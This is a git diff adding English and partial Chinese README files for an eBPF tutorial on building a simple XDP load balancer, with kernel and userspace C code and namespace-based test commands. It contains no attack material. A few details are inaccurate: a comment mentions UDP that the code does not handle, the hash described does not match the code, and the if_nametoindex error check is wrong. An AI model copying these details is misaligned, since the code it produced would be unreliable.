overhead. +2. **Efficient**: Because it processes packets before they reach the kernel, XDP minimizes CPU usage and handles high traffic loads without slowing down the system. +3. **Customizable with eBPF**: XDP programs are written using eBPF, allowing you to create custom packet-handling logic for specific use cases like dropping, redirecting, or forwarding packets. +4. **Low CPU Overhead**: With support for zero-copy packet forwarding, XDP uses fewer system resources, making it perfect for handling high traffic with minimal CPU load. +5. **Simple Actions**: XDP programs return predefined actions like dropping, passing, or redirecting packets, providing control over how traffic is handled. + +Projects That Use XDP + +- `Cilium` is an open-source networking tool for cloud-native environments like Kubernetes. It uses XDP to efficiently handle packet filtering and load balancing, improving performance in high-traffic networks. +- `Katran`, developed by Facebook, is a load balancer that uses XDP to handle millions of connections with low CPU usage. It distributes traffic efficiently across servers and is used internally at Facebook for large-scale networking. +- `Cloudflare` uses XDP to protect against DDoS attacks. By filtering out malicious traffic at the NIC level, Cloudflare can drop attack packets before they even reach the kernel, minimizing the impact on their network. + +### Why Choose XDP Over Other Methods? + +Compared to traditional tools like `iptables` or `tc`, XDP offers: + +- **Speed**: It operates directly in the NIC driver, processing packets much faster than traditional methods. +- **Flexibility**: With eBPF, you can write custom packet-handling logic to meet specific needs. +- **Efficiency**: XDP uses fewer resources, making it suitable for environments that need to handle high traffic without overloading the system. + +## The Project: Building a Simple Load Balancer + +In this project, we will be focusing on building a load balancer using XDP. A load balancer efficiently distributes incoming network traffic across multiple backend servers to prevent any single server from becoming overwhelmed. With the combination of XDP and eBPF, we can build a load balancer that operates at the edge of the Linux networking stack, ensuring high performance even under heavy traffic conditions. + +The load balancer we’ll be implementing will: + +- Listen for incoming network packets. +- Calculate a hash based on the packet's source IP and port, allowing us to distribute the traffic across multiple backend servers. +- Forward the packet to the appropriate backend server based on the calculated hash. + +We'll keep the design simple but powerful, showing you how to leverage eBPF’s capabilities to create a lightweight load balancing solution. + +## kernel eBPF code + +```c +// xdp_lb.bpf.c +#include +#include +#include +#include +#include +#include +#include +#include "xx_hash.h" + +struct backend_config { + __u32 ip; + unsigned char mac[ETH_ALEN]; +}; + +// Backend IP and MAC address map +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 2); // Two backends + __type(key, __u32); + __type(value, struct backend_config); +} backends SEC(".maps"); + +int client_ip = bpf_htonl(0xa000001); +unsigned char client_mac[ETH_ALEN] = {0xDE, 0xAD, 0xBE, 0xEF, 0x0, 0x1}; +int load_balancer_ip = bpf_htonl(0xa00000a); +unsigned char load_balancer_mac[ETH_ALEN] = {0xDE, 0xAD, 0xBE, 0xEF, 0x0, 0x10}; + +static __always_inline __u16 +csum_fold_helper(__u64 csum) +{ + int i; + for (i = 0; i < 4; i++) + { + if (csum >> 16) + csum = (csum & 0xffff) + (csum >> 16); + } + return ~csum; +} + +static __always_inline __u16 +iph_csum(struct iphdr *iph) +{ + iph->check = 0; + unsigned long long csum = bpf_csum_diff(0, 0, (unsigned int *)iph, sizeof(struct iphdr), 0); + return csum_fold_helper(csum); +} + +SEC("xdp") +int xdp_load_balancer(struct xdp_md *ctx) { + void *data_end = (void *)(long)ctx->data_end; + void *data = (void *)(long)ctx->data; + + bpf_printk("xdp_load_balancer received packet"); + + // Ethernet header + struct ethhdr *eth = data; + if ((void *)(eth + 1) > data_end) + return XDP_PASS; + + // Check if the packet is IP (IPv4) + if (eth->h_proto != __constant_htons(ETH_P_IP)) + return XDP_PASS; + + // IP header + struct iphdr *iph = (struct iphdr *)(eth + 1); + if ((void *)(iph + 1) > data_end) + return XDP_PASS; + + // Check if the protocol is TCP or UDP + if (iph->protocol != IPPROTO_TCP) + return XDP_PASS; + + bpf_printk("Received Source IP: 0x%x", bpf_ntohl(iph->saddr)); + bpf_printk("Received Destination IP: 0x%x", bpf_ntohl(iph->daddr)); + bpf_printk("Received Source MAC: %x:%x:%x:%x:%x:%x", eth->h_source[0], eth->h_source[1], eth->h_source[2], eth->h_source[3], eth->h_source[4], eth->h_source[5]); + bpf_printk("Received Destination MAC: %x:%x:%x:%x:%x:%x", eth->h_dest[0], eth->h_dest[1], eth->h_dest[2], eth->h_dest[3], eth->h_dest[4], eth->h_dest[5]); + + if (iph->saddr == client_ip) + { + bpf_printk("Packet from client"); + + __u32 key = xxhash32((const char*)iph, sizeof(struct iphdr), 0) % 2; + + struct backend_config *backend = bpf_map_lookup_elem(&backends, &key); + if (!backend) + return XDP_PASS; + + iph->daddr = backend->ip; + __builtin_memcpy(eth->h_dest, backend->mac, ETH_ALEN); + } + else + { + bpf_printk("Packet from backend"); + iph->daddr = client_ip; + __builtin_memcpy(eth->h_dest, client_mac, ETH_ALEN); + } + + // Update IP source address to the load balancer's IP + iph->saddr = load_balancer_ip; + // Update Ethernet source MAC address to the current lb's MAC + __builtin_memcpy(eth->h_source, load_balancer_mac, ETH_ALEN); + + // Recalculate IP checksum + iph->check = iph_csum(iph); + + bpf_printk("Redirecting packet to new IP 0x%x from IP 0x%x", + bpf_ntohl(iph->daddr), + bpf_ntohl(iph->saddr) + ); + bpf_printk("New Dest MAC: %x:%x:%x:%x:%x:%x", eth->h_dest[0], eth->h_dest[1], eth->h_dest[2], eth->h_dest[3], eth->h_dest[4], eth->h_dest[5]); + bpf_printk("New Source MAC: %x:%x:%x:%x:%x:%x\n", eth->h_source[0], eth->h_source[1], eth->h_source[2], eth->h_source[3], eth->h_source[4], eth->h_source[5]); + // Return XDP_TX to transmit the modified packet back to the network + return XDP_TX; +} + +char _license[] SEC("license") = "GPL"; +``` + +Here’s a breakdown of the key sections of the kernel code for your blog: + +### 1. **Header Files and Data Structures** + +The code begins with necessary header files like ``, ``, ``, and more. These headers provide definitions for handling Ethernet frames, IP packets, and BPF helper functions. + +The `backend_config` struct is defined to hold the IP and MAC address of backend servers. This will later be used for routing packets based on load balancing logic. + +```c +struct backend_config { + __u32 ip; + unsigned char mac[ETH_ALEN]; +}; +``` + +### 2. **Backend and Load Balancer Configuration** + +The code defines an eBPF map named `backends` that stores IP and MAC addresses for two backends. The `BPF_MAP_TYPE_ARRAY` type is used to store backend configuration, with `max_entries` set to 2, indicating the load balancer will route to two backend servers. + +```c +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 2); + __type(key, __u32); + __type(value, struct backend_config); +} backends SEC(".maps"); +``` + +There are also predefined IP addresses and MAC addresses for the client and load balancer: + +```c +int client_ip = bpf_htonl(0xa000001); +unsigned char client_mac[ETH_ALEN] = {0xDE, 0xAD, 0xBE, 0xEF, 0x0, 0x1}; +int load_balancer_ip = bpf_htonl(0xa00000a); +unsigned char load_balancer_mac[ETH_ALEN] = {0xDE, 0xAD, 0xBE, 0xEF, 0x0, 0x10}; +``` + +### 3. **Checksum Functions** + +The function `iph_csum()` recalculates the IP header checksum after modifying the packet's contents. It's essential to keep the integrity of IP packets when any modification is done to the headers. + +```c +static __always_inline __u16 iph_csum(struct iphdr *iph) { + iph->check = 0; + unsigned long long csum = bpf_csum_diff(0, 0, (unsigned int *)iph, sizeof(struct iphdr), 0); + return csum_fold_helper(csum); +} +``` + +### 4. **XDP Program Logic** + +The core of the XDP load balancer logic is implemented in the `xdp_load_balancer` function, which is attached to the XDP hook. It processes incoming packets and directs them either to a backend or back to the client. + +- **Initial Checks**: + The function begins by verifying that the packet is an Ethernet frame, then checks if it's an IP packet (IPv4) and if it's using the TCP protocol. + + ```c + if (eth->h_proto != __constant_htons(ETH_P_IP)) + return XDP_PASS; + if (iph->protocol != IPPROTO_TCP) + return XDP_PASS; + ``` + +- **Client Packet Handling**: + If the source IP matches the client IP, the code hashes the IP header using `xxhash32` to determine the appropriate backend (based on the key modulo 2). + + ```c + if (iph->saddr == client_ip) { + __u32 key = xxhash32((const char*)iph, sizeof(struct iphdr), 0) % 2; + struct backend_config *backend = bpf_map_lookup_elem(&backends, &key); + ``` + + The destination IP and MAC are replaced with those of the selected backend, and the packet is forwarded to the backend. + +- **Backend Packet Handling**: + If the packet is from a backend server, the destination is set to the client’s IP and MAC address, ensuring that the backend’s response is directed back to the client. + + ```c + iph->daddr = client_ip; + __builtin_memcpy(eth->h_dest, client_mac, ETH_ALEN); + ``` + +- **Rewriting IP and MAC Addresses**: + The source IP and MAC are updated to the load balancer’s values for all outgoing packets, ensuring that the load balancer appears as the source for both client-to-backend and backend-to-client communication. + + ```c + iph->saddr = load_balancer_ip; + __builtin_memcpy(eth->h_source, load_balancer_mac, ETH_ALEN); + ``` + +- **Recalculate Checksum**: + After modifying the IP header, the checksum is recalculated using the previously defined `iph_csum()` function. + + ```c + iph->check = iph_csum(iph); + ``` + +- **Final Action**: + The packet is transmitted using the `XDP_TX` action, which instructs the NIC to send the modified packet. + + ```c + return XDP_TX; + ``` + +### 5. **Conclusion** + +This part of the blog could explain how the load balancer ensures traffic is efficiently routed between the client and two backend servers by inspecting the source IP, hashing it for load distribution, and modifying the destination IP and MAC before forwarding the packet. The `XDP_TX` action is key to the high-speed packet handling provided by eBPF in the XDP layer. + +This explanation can help readers understand the flow of the packet and the role of each section of the code in managing load balancing across multiple backends. + +## Userspace code + +```c +// xdp_lb.c +#include +#include +#include +#include +#include +#include +#include +#include +#include "xdp_lb.skel.h" // The generated skeleton + +struct backend_config { + __u32 ip; + unsigned char mac[6]; +}; + +static int parse_mac(const char *str, unsigned char *mac) { + if (sscanf(str, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", + &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]) != 6) { + fprintf(stderr, "Invalid MAC address format\n"); + return -1; + } + return 0; +} + +int main(int argc, char **argv) { + if (argc != 6) { + fprintf(stderr, "Usage: %s \n", argv[0]); + return 1; + } + + const char *ifname = argv[1]; + struct backend_config backend[2]; + + // Parse backend 1 + if (inet_pton(AF_INET, argv[2], &backend[0].ip) != 1) { + fprintf(stderr, "Invalid backend 1 IP address\n"); + return 1; + } + if (parse_mac(argv[3], backend[0].mac) < 0) { + return 1; + } + + // Parse backend 2 + if (inet_pton(AF_INET, argv[4], &backend[1].ip) != 1) { + fprintf(stderr, "Invalid backend 2 IP address\n"); + return 1; + } + if (parse_mac(argv[5], backend[1].mac) < 0) { + return 1; + } + + // Load and attach the BPF program + struct xdp_lb_bpf *skel = xdp_lb_bpf__open_and_load(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + int ifindex = if_nametoindex(ifname); + if (ifindex < 0) { + perror("if_nametoindex"); + xdp_lb_bpf__destroy(skel); + return 1; + } + + if (bpf_program__attach_xdp(skel->progs.xdp_load_balancer, ifindex) < 0) { + fprintf(stderr, "Failed to attach XDP program\n"); + xdp_lb_bpf__destroy(skel); + return 1; + } + + // Update backend configurations + for (int i = 0; i < 2; i++) { + if (bpf_map_update_elem(bpf_map__fd(skel->maps.backends), &i, &backend[i], 0) < 0) { + perror("bpf_map_update_elem"); + xdp_lb_bpf__destroy(skel); + return 1; + } + } + + printf("XDP load balancer configured with backends:\n"); + printf("Backend 1 - IP: %s, MAC: %s\n", argv[2], argv[3]); + printf("Backend 2 - IP: %s, MAC: %s\n", argv[4], argv[5]); + + printf("Press Ctrl+C to exit...\n"); + while (1) { + sleep(1); // Keep the program running + } + + // Cleanup and detach + bpf_xdp_detach(ifindex, 0, NULL); + xdp_lb_bpf__detach(skel); + xdp_lb_bpf__destroy(skel); + return 0; +} +``` + +The userspace code provided is responsible for setting up and configuring the XDP load balancer program that runs in the kernel. It accepts command-line arguments, loads the eBPF program, attaches it to a network interface, and updates the backend configurations. + +### 1. **Argument Parsing and Backend Setup** + +The program expects five command-line arguments: the name of the network interface (`ifname`), the IP addresses and MAC addresses of two backend servers. It then parses the IP addresses using `inet_pton()` and the MAC addresses using the `parse_mac()` function, which ensures that the format of the provided MAC addresses is correct. The parsed backend information is stored in a `backend_config` structure. + +### 2. **Loading and Attaching the BPF Program** + +The BPF skeleton (generated via `xdp_lb.skel.h`) is used to open and load the XDP program into the kernel. The program then identifies the network interface by converting the interface name into an index using `if_nametoindex()`. Afterward, it attaches the loaded BPF program to this interface using `bpf_program__attach_xdp()`. + +### 3. **Configuring Backend Information** + +The backend IP and MAC addresses are written to the `backends` BPF map using `bpf_map_update_elem()`. This step ensures that the BPF program has access to the backend configurations, allowing it to route packets to the correct backend servers based on the logic in the kernel code. + +### 4. **Program Loop and Cleanup** + +The program enters an infinite loop (`while (1) { sleep(1); }`) to keep running, allowing the XDP program to continue functioning. When the user decides to exit by pressing Ctrl+C, the BPF program is detached from the network interface, and resources are cleaned up by calling `xdp_lb_bpf__destroy()`. + +In summary, this userspace code is responsible for configuring and managing the lifecycle of the XDP load balancer, making it easy to update backend configurations dynamically and ensuring the load balancer is correctly attached to a network interface. + +## The topology of test environment + +The topology represents a test environment where a local machine communicates with two backend nodes (h2 and h3) through a load balancer. The local machine is connected to the load balancer via virtual Ethernet pairs (veth0 to veth6), simulating network connections in a controlled environment. Each virtual interface has its own IP and MAC address to represent different entities. + +```txt + +---------------------------+ + | Local Machine | + | IP: 10.0.0.1 (veth0) | + | MAC: DE:AD:BE:EF:00:01 | + +------------+---------------+ + | + | (veth1) + | + +--------+---------------+ + | Load Balancer | + | IP: 10.0.0.10 (veth6) | + | MAC: DE:AD:BE:EF:00:10| + +--------+---------------+ + | + +---------+----------------------------+ + | | +(veth2) (veth4) + | | ++--+---------------+ +--------+---------+ +| h2 | | h3 | +| IP: | | IP: | +|10.0.0.2 (veth3) | |10.0.0.3 (veth5) | +| MAC: | | MAC: | +|DE:AD:BE:EF:00:02 | |DE:AD:BE:EF:00:03 | ++------------------+ +------------------+ +``` + +The setup can be easily initialized with a script (setup.sh), and removed with a teardown script (teardown.sh). + +> If you are interested in this tutorial, please help us create a containerized version of the setup and topology! Currently the setup and teardown are based on the network namespace, it will be more friendly to have a containerized version of the setup and topology. + +Setup: + +```sh +sudo ./setup.sh +``` + +Teardown: + +```sh +sudo ./teardown.sh +``` + +### Running the Load Balancer + +To run the XDP load balancer, execute the following command, specifying the interface and backends' IP and MAC addresses: +To make XDP work with veth interfaces we need to add a stub eBPF program to the other end of the pair. + +```console +clang -target bpf -o stub.bpf.o -c stub.bpf.c +sudo ip l set dev veth7 xdp obj ./stub.bpf.o sec .xdp # stub XDP_PASS on the receiving interface +sudo ip netns exec lb ./xdp_lb veth6 10.0.0.2 de:ad:be:ef:00:02 10.0.0.3 de:ad:be:ef:00:03 +``` + +This will configure the load balancer and print the details of the backends: + +```console +XDP load balancer configured with backends: +Backend 1 - IP: 10.0.0.2, MAC: de:ad:be:ef:00:02 +Backend 2 - IP: 10.0.0.3, MAC: de:ad:be:ef:00:03 +Press Ctrl+C to exit... +``` + +### Testing the Setup + +You can test the setup by starting HTTP servers on the two backend namespaces (`h2` and `h3`) and sending requests from the local machine to the load balancer: + +Start servers on `h2` and `h3`: + +```sh +sudo ip netns exec h2 python3 -m http.server +sudo ip netns exec h3 python3 -m http.server +``` + +Then, send a request to the load balancer IP: + +```sh +curl 10.0.0.10:8000 +``` + +The load balancer will distribute traffic to the backends (`h2` and `h3`) based on the hashing function. + +### Monitoring with `bpf_printk` + +You can monitor the load balancer's activity by checking the `bpf_printk` logs. The BPF program prints diagnostic messages whenever a packet is processed. You can view these logs using: + +```console +sudo cat /sys/kernel/debug/tracing/trace_pipe +``` + +Example output: + +```console +-0 [004] ..s2. 24174.812722: bpf_trace_printk: xdp_load_balancer received packet +-0 [004] .Ns2. 24174.812729: bpf_trace_printk: Received Source IP: 0xa000001 +-0 [004] .Ns2. 24174.812729: bpf_trace_printk: Received Destination IP: 0xa00000a +-0 [004] .Ns2. 24174.812731: bpf_trace_printk: Received Source MAC: de:ad:be:ef:0:1 +-0 [004] .Ns2. 24174.812732: bpf_trace_printk: Received Destination MAC: de:ad:be:ef:0:10 +-0 [004] .Ns2. 24174.812732: bpf_trace_printk: Packet from client +-0 [004] .Ns2. 24174.812734: bpf_trace_printk: Redirecting packet to new IP 0xa000002 from IP 0xa00000a +-0 [004] .Ns2. 24174.812735: bpf_trace_printk: New Dest MAC: de:ad:be:ef:0:2 +-0 [004] .Ns2. 24174.812735: bpf_trace_printk: New Source MAC: de:ad:be:ef:0:10 +``` + +### Debugging Issues + +Some systems may experience packet loss or failure to forward packets due to issues similar to those described in this [blog post](https://fedepaol.github.io/blog/2023/09/11/xdp-ate-my-packets-and-how-i-debugged-it/). You can debug these issues using `bpftrace` to trace XDP errors: + +```sh +sudo bpftrace -e 'tracepoint:xdp:xdp_bulk_tx{@redir_errno[-args->err] = count();}' +``` + +If you see an output like this: + +```sh +@redir_errno[6]: 3 +``` + +It indicates errors related to XDP packet forwarding. The error code `6` typically points to a particular forwarding issue that can be further investigated. + +### Conclusion + +This tutorial demonstrates how to set up a simple XDP load balancer using eBPF, providing efficient traffic distribution across backend servers. For those interested in learning more about eBPF, including more advanced examples and tutorials, please visit our [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or our website [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/). + +### References + +Here’s a simple list of XDP references: + +1. [XDP Programming Hands-On Tutorial](https://github.com/xdp-project/xdp-tutorial) +2. [XDP Tutorial in bpf-developer-tutorial](https://eunomia.dev/tutorials/21-xdp/) diff --git a/src/42-xdp-loadbalancer/README.zh.md b/src/42-xdp-loadbalancer/README.zh.md new file mode 100644 index 00000000..06fc527c --- /dev/null +++ b/src/42-xdp-loadbalancer/README.zh.md @@ -0,0 +1,527 @@ +# eBPF 开发者教程: 简单的 XDP 负载均衡器 + +在本教程中,我们将指导您如何使用eBPF(扩展的Berkeley Packet Filter)实现一个简单的XDP(eXpress Data Path)负载均衡器。只需使用C语言和libbpf库,无需外部依赖,这是一个适合开发者的实践指南,帮助您充分利用Linux内核的强大功能来构建高效的网络应用程序。 + +## 为什么选择XDP? + +`XDP`(eXpress Data Path)是Linux中的一个高速、内核级网络框架,它允许在网络堆栈的最早阶段,即在网络接口卡(NIC)上处理数据包。这使得XDP可以进行超低延迟和高吞吐量的数据包处理,非常适合用于负载均衡、DDoS保护和流量过滤等任务。 + +XDP的关键特性: + +1. **快速数据包处理**:XDP直接在网络接口卡(NIC)级别处理数据包,减少了延迟,并通过避免通常的网络堆栈开销来提高性能。 +2. **高效**:由于在数据包进入内核之前处理它们,XDP最大限度地减少了CPU使用率,能够在高流量负载下保持系统的快速响应。 +3. **可定制的eBPF**:XDP程序使用eBPF编写,允许您为特定的用例创建自定义的数据包处理逻辑,例如丢弃、重定向或转发数据包。 +4. **低CPU开销**:支持零拷贝数据包转发,XDP占用更少的系统资源,非常适合在最少CPU负载的情况下处理高流量。 +5. **简单操作**:XDP程序返回预定义的操作,例如丢弃、通过或重定向数据包,提供对流量处理的控制。 + +### 使用XDP的项目 + +- `Cilium` 是一个为云原生环境(如Kubernetes)设计的开源网络工具。它使用XDP高效处理数据包过滤和负载均衡,提升了高流量网络中的性能。 +- `Katran` 由Facebook开发,是一个负载均衡器,它使用XDP处理数百万的连接,且CPU使用率低。它高效地将流量分发到服务器,在Facebook内部被用于大规模的网络环境。 +- `Cloudflare` 使用XDP来防御DDoS攻击。通过在NIC级别过滤恶意流量,Cloudflare可以在攻击数据包进入内核之前将其丢弃,最大限度地减少对网络的影响。 + +### 为什么选择XDP而不是其他方法? + +与传统工具如`iptables`或`tc`相比,XDP具有以下优势: + +- **速度**:它直接在NIC驱动程序中操作,数据包处理速度远快于传统方法。 +- **灵活性**:通过eBPF,您可以编写自定义的数据包处理逻辑,以满足特定需求。 +- **效率**:XDP使用更少的资源,非常适合需要处理高流量而不使系统过载的环境。 + +## 项目:构建一个简单的负载均衡器 + +在本项目中,我们将专注于使用XDP构建一个负载均衡器。负载均衡器通过将传入的网络流量高效地分发到多个后端服务器,防止单个服务器过载。结合XDP和eBPF,我们可以构建一个运行在Linux网络堆栈边缘的负载均衡器,确保即使在高流量情况下也能保持高性能。 + +我们将实现的负载均衡器将具备以下功能: + +- 监听传入的网络数据包。 +- 根据数据包的源IP和端口计算哈希值,从而将流量分发到多个后端服务器。 +- 根据计算出的哈希值将数据包转发到相应的后端服务器。 + +我们将保持设计简单但强大,向您展示如何利用eBPF的能力来创建一个轻量级的负载均衡解决方案。 + +## kernel eBPF code + +```c +// xdp_lb.bpf.c +#include +#include +#include +#include +#include +#include +#include +#include "xx_hash.h" + +struct backend_config { + __u32 ip; + unsigned char mac[ETH_ALEN]; +}; + +// Backend IP and MAC address map +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 2); // Two backends + __type(key, __u32); + __type(value, struct backend_config); +} backends SEC(".maps"); + +int client_ip = bpf_htonl(0xa000001); +unsigned char client_mac[ETH_ALEN] = {0xDE, 0xAD, 0xBE, 0xEF, 0x0, 0x1}; +int load_balancer_ip = bpf_htonl(0xa00000a); +unsigned char load_balancer_mac[ETH_ALEN] = {0xDE, 0xAD, 0xBE, 0xEF, 0x0, 0x10}; + +static __always_inline __u16 +csum_fold_helper(__u64 csum) +{ + int i; + for (i = 0; i < 4; i++) + { + if (csum >> 16) + csum = (csum & 0xffff) + (csum >> 16); + } + return ~csum; +} + +static __always_inline __u16 +iph_csum(struct iphdr *iph) +{ + iph->check = 0; + unsigned long long csum = bpf_csum_diff(0, 0, (unsigned int *)iph, sizeof(struct iphdr), 0); + return csum_fold_helper(csum); +} + +SEC("xdp") +int xdp_load_balancer(struct xdp_md *ctx) { + void *data_end = (void *)(long)ctx->data_end; + void *data = (void *)(long)ctx->data; + + bpf_printk("xdp_load_balancer received packet"); + + // Ethernet header + struct ethhdr *eth = data; + if ((void *)(eth + 1) > data_end) + return XDP_PASS; + + // Check if the packet is IP (IPv4) + if (eth->h_proto != __constant_htons(ETH_P_IP)) + return XDP_PASS; + + // IP header + struct iphdr *iph = (struct iphdr *)(eth + 1); + if ((void *)(iph + 1) > data_end) + return XDP_PASS; + + // Check if the protocol is TCP or UDP + if (iph->protocol != IPPROTO_TCP) + return XDP_PASS; + + bpf_printk("Received Source IP: 0x%x", bpf_ntohl(iph->saddr)); + bpf_printk("Received Destination IP: 0x%x", bpf_ntohl(iph->daddr)); + bpf_printk("Received Source MAC: %x:%x:%x:%x:%x:%x", eth->h_source[0], eth->h_source[1], eth->h_source[2], eth->h_source[3], eth->h_source[4], eth->h_source[5]); + bpf_printk("Received Destination MAC: %x:%x:%x:%x:%x:%x", eth->h_dest[0], eth->h_dest[1], eth->h_dest[2], eth->h_dest[3], eth->h_dest[4], eth->h_dest[5]); + + if (iph->saddr == client_ip) + { + bpf_printk("Packet from client"); + + __u32 key = xxhash32((const char*)iph, sizeof(struct iphdr), 0) % 2; + + struct backend_config *backend = bpf_map_lookup_elem(&backends, &key); + if (!backend) + return XDP_PASS; + + iph->daddr = backend->ip; + __builtin_memcpy(eth->h_dest, backend->mac, ETH_ALEN); + } + else + { + bpf_printk("Packet from backend"); + iph->daddr = client_ip; + __builtin_memcpy(eth->h_dest, client_mac, ETH_ALEN); + } + + // Update IP source address to the load balancer's IP + iph->saddr = load_balancer_ip; + // Update Ethernet source MAC address to the current lb's MAC + __builtin_memcpy(eth->h_source, load_balancer_mac, ETH_ALEN); + + // Recalculate IP checksum + iph->check = iph_csum(iph); + + bpf_printk("Redirecting packet to new IP 0x%x from IP 0x%x", + bpf_ntohl(iph->daddr), + bpf_ntohl(iph->saddr) + ); + bpf_printk("New Dest MAC: %x:%x:%x:%x:%x:%x", eth->h_dest[0], eth->h_dest[1], eth->h_dest[2], eth->h_dest[3], eth->h_dest[4], eth->h_dest[5]); + bpf_printk("New Source MAC: %x:%x:%x:%x:%x:%x\n", eth->h_source[0], eth->h_source[1], eth->h_source[2], eth->h_source[3], eth->h_source[4], eth->h_source[5]); + // Return XDP_TX to transmit the modified packet back to the network + return XDP_TX; +} + +char _license[] SEC("license") = "GPL"; +``` + +## 内核代码关键部分解读 + +### 1. **头文件和数据结构** + +代码首先包含了一些必要的头文件,例如 ``、``、`` 等。这些头文件提供了处理以太网帧、IP 数据包以及 BPF 辅助函数的定义。 + +`backend_config` 结构体被定义用于存储后端服务器的 IP 和 MAC 地址。这将在负载均衡逻辑中用于根据流量分配规则路由数据包。 + +```c +struct backend_config { + __u32 ip; + unsigned char mac[ETH_ALEN]; +}; +``` + +### 2. **后端和负载均衡器配置** + +代码定义了一个名为 `backends` 的 eBPF map,用于存储两个后端的 IP 和 MAC 地址。`BPF_MAP_TYPE_ARRAY` 类型用于存储后端的配置信息,`max_entries` 设置为 2,表示该负载均衡器将把流量分配给两个后端服务器。 + +```c +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 2); + __type(key, __u32); + __type(value, struct backend_config); +} backends SEC(".maps"); +``` + +同时也预定义了客户端和负载均衡器的 IP 地址和 MAC 地址: + +```c +int client_ip = bpf_htonl(0xa000001); +unsigned char client_mac[ETH_ALEN] = {0xDE, 0xAD, 0xBE, 0xEF, 0x0, 0x1}; +int load_balancer_ip = bpf_htonl(0xa00000a); +unsigned char load_balancer_mac[ETH_ALEN] = {0xDE, 0xAD, 0xBE, 0xEF, 0x0, 0x10}; +``` + +### 3. **校验和函数** + +`iph_csum()` 函数在修改数据包内容后重新计算 IP 头的校验和。在对头部进行任何修改时,确保 IP 数据包的完整性是至关重要的。 + +```c +static __always_inline __u16 iph_csum(struct iphdr *iph) { + iph->check = 0; + unsigned long long csum = bpf_csum_diff(0, 0, (unsigned int *)iph, sizeof(struct iphdr), 0); + return csum_fold_helper(csum); +} +``` + +### 4. **XDP 程序逻辑** + +XDP 负载均衡器的核心逻辑在 `xdp_load_balancer` 函数中实现,该函数附加到 XDP 钩子上。它处理传入的数据包,并根据不同情况将数据包转发到后端或回传给客户端。 + +- **初始检查**: + 函数首先验证数据包是否是以太网帧,接着检查它是否是 IP 数据包(IPv4)并且使用了 TCP 协议。 + + ```c + if (eth->h_proto != __constant_htons(ETH_P_IP)) + return XDP_PASS; + if (iph->protocol != IPPROTO_TCP) + return XDP_PASS; + ``` + +- **客户端数据包处理**: + 如果源 IP 与客户端 IP 匹配,代码使用 `xxhash32` 对 IP 头进行哈希处理,以确定相应的后端(基于 key 对 2 取模)。 + + ```c + if (iph->saddr == client_ip) { + __u32 key = xxhash32((const char*)iph, sizeof(struct iphdr), 0) % 2; + struct backend_config *backend = bpf_map_lookup_elem(&backends, &key); + ``` + + 之后将目标 IP 和 MAC 替换为选定的后端的值,并将数据包转发到后端。 + +- **后端数据包处理**: + 如果数据包来自后端服务器,代码将目标设置为客户端的 IP 和 MAC 地址,确保后端的响应数据包被正确地转发回客户端。 + + ```c + iph->daddr = client_ip; + __builtin_memcpy(eth->h_dest, client_mac, ETH_ALEN); + ``` + +- **重写 IP 和 MAC 地址**: + 对于所有的出站数据包,源 IP 和 MAC 地址会被更新为负载均衡器的值,以确保在客户端与后端之间通信时,负载均衡器作为源进行标识。 + + ```c + iph->saddr = load_balancer_ip; + __builtin_memcpy(eth->h_source, load_balancer_mac, ETH_ALEN); + ``` + +- **重新计算校验和**: + 修改 IP 头之后,使用之前定义的 `iph_csum()` 函数重新计算校验和。 + + ```c + iph->check = iph_csum(iph); + ``` + +- **最终动作**: + 使用 `XDP_TX` 动作发送数据包,这指示网卡将修改后的数据包传输出去。 + + ```c + return XDP_TX; + ``` + +### 5. **结论** + +在这部分博客中,可以解释负载均衡器是如何通过检查源 IP、进行哈希计算来分配流量,并通过修改目标 IP 和 MAC 来确保数据包的转发。`XDP_TX` 动作是实现 eBPF 在 XDP 层中高速数据包处理的关键。 + +这一解释可以帮助读者理解数据包的流转过程,以及代码中每个部分在实现多个后端之间负载均衡的过程中所起的作用。 + + +## Userspace code + +```c +// xdp_lb.c +#include +#include +#include +#include +#include +#include +#include +#include +#include "xdp_lb.skel.h" // The generated skeleton + +struct backend_config { + __u32 ip; + unsigned char mac[6]; +}; + +static int parse_mac(const char *str, unsigned char *mac) { + if (sscanf(str, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", + &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]) != 6) { + fprintf(stderr, "Invalid MAC address format\n"); + return -1; + } + return 0; +} + +int main(int argc, char **argv) { + if (argc != 6) { + fprintf(stderr, "Usage: %s \n", argv[0]); + return 1; + } + + const char *ifname = argv[1]; + struct backend_config backend[2]; + + // Parse backend 1 + if (inet_pton(AF_INET, argv[2], &backend[0].ip) != 1) { + fprintf(stderr, "Invalid backend 1 IP address\n"); + return 1; + } + if (parse_mac(argv[3], backend[0].mac) < 0) { + return 1; + } + + // Parse backend 2 + if (inet_pton(AF_INET, argv[4], &backend[1].ip) != 1) { + fprintf(stderr, "Invalid backend 2 IP address\n"); + return 1; + } + if (parse_mac(argv[5], backend[1].mac) < 0) { + return 1; + } + + // Load and attach the BPF program + struct xdp_lb_bpf *skel = xdp_lb_bpf__open_and_load(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + int ifindex = if_nametoindex(ifname); + if (ifindex < 0) { + perror("if_nametoindex"); + xdp_lb_bpf__destroy(skel); + return 1; + } + + if (bpf_program__attach_xdp(skel->progs.xdp_load_balancer, ifindex) < 0) { + fprintf(stderr, "Failed to attach XDP program\n"); + xdp_lb_bpf__destroy(skel); + return 1; + } + + // Update backend configurations + for (int i = 0; i < 2; i++) { + if (bpf_map_update_elem(bpf_map__fd(skel->maps.backends), &i, &backend[i], 0) < 0) { + perror("bpf_map_update_elem"); + xdp_lb_bpf__destroy(skel); + return 1; + } + } + + printf("XDP load balancer configured with backends:\n"); + printf("Backend 1 - IP: %s, MAC: %s\n", argv[2], argv[3]); + printf("Backend 2 - IP: %s, MAC: %s\n", argv[4], argv[5]); + + printf("Press Ctrl+C to exit...\n"); + while (1) { + 